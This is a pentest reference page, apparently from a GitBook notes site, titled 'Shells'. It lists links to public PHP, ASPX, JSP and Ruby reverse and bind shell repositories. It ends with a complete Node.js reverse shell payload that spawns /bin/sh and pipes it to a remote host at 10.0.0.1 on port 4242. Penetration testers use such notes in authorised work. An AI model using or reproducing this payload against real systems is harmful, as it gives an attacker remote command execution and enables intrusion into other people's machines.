Pentest Notes
search
⌘Ctrlk
Pentest Notes
  • About
  • Notes
    • Methodologies & Tools
      • Scanning & Enumeration
      • Active Directory
      • Privilege Escalation
      • Web
      • Network Pivoting
      • Tools
        • Compiling
        • Cracking
        • Port Knocking
        • Shells
        • SQL
      • File Transfer
      • External
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. Noteschevron-right
  2. Methodologies & Toolschevron-right
  3. Tools

Shells

  • revshells.com

hashtag
PHP Reverse Shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.phparrow-up-right

https://github.com/ivan-sincek/php-reverse-shellarrow-up-right

https://github.com/Dhayalanb/windows-php-reverse-shellarrow-up-right

hashtag
ASPX Shell

https://github.com/borjmz/aspx-reverse-shellarrow-up-right

hashtag
JSP Reverse Shell

https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsparrow-up-right

hashtag
Ruby

  • Reverse

https://github.com/secjohn/ruby-shells/blob/master/revshell.rbarrow-up-right

  • Bind

https://github.com/secjohn/ruby-shells/blob/master/shell.rbarrow-up-right

hashtag
JS-encapsulated Payload

PreviousPort Knockingchevron-leftNextSQLchevron-right

Last updated 3 years ago

  • PHP Reverse Shell
  • ASPX Shell
  • JSP Reverse Shell
  • Ruby
  • JS-encapsulated Payload
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();